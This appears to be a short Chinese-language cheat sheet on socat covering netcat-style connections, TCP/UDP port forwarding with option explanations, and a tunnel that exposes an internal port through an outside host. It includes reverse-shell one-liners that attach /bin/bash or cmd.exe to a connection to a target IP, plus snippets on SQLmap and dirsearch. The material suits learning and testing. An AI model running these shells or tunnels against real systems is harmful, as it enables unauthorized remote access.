network technology
socat - TCP:192.168.1.200:4444
# 跟 nc 192.168.1.200 4444 同理
socat TCP-LISTEN:4444 -
# 跟 nc -lp 4444 同理
socat -d -d -lf /tmp/socat.log TCP4-LISTEN:4444,bind=127.0.0.1,reuseaddr,fork TCP4:120.117.130.202:80
# 兩次 -d 代表調整訊息的輸出等級
# -lf /tmp/socat.log 指定輸出訊息的文件保存位址
# TCP4-LISTEN:4444 在本機建立一個 TCP IPv4 協議的監聽 port 用於轉發
# bind 指定監聽綁定的 IP 位址,不綁定即監聽伺服器上所有可用 IP
# reuseaddr 綁定一個本機 port
# fork TCP4:192.168.1.1:80 代表會被轉發連線的目標為 192.168.1.1:80
socat -d -d -lf /tmp/socat.log UDP4-LISTEN:4444,bind=127.0.0.1,reuseaddr,fork UDP4:120.117.130.202:80
# 差不多,只是 TCP 改 UDP
外網機器上
socat tcp-listen:4444 tcp-listen:5000
內網機器上
socat tcp:outerhost:4444 tcp:192.168.1.1:5000
這樣外網機器的 5000 即可投射在內網機器的 192.168.1.1:5000
socat TCP:Target_IP:8000 exec:"/bin/bash -li"
socat -d -d TCP:Target_IP:8000 exec:"/bin/bash -li"
# windows
socat TCP:Target_IP:8000 EXEC:'cmd.exe',pipes
假設寫一個叫做 test123<!-- -->.py 的腳本
May 2, 2025腳本基本結構
Apr 25, 2025當手動測試確定存在注入但是SQLmap檢測不到時
Apr 25, 2025基本必須參數(快速) # 單純只掃網站根目錄 # 例如 http://example.com/home/page,只掃 http://example.com/ dirsearch -u "http://example.com/" 常用參數 # 使用情境通常發生在,某些登入後的頁面或部分資源才可以存取,不加cookie就存取不到 # 當然也有些網站即使沒登入,但是沒cookie一樣存取不到 --cookie "SESSION_ID=xxx;abc=xxx;" # POST data
Apr 8, 2025or
By clicking below, you agree to our terms of service.
New to HackMD? Sign up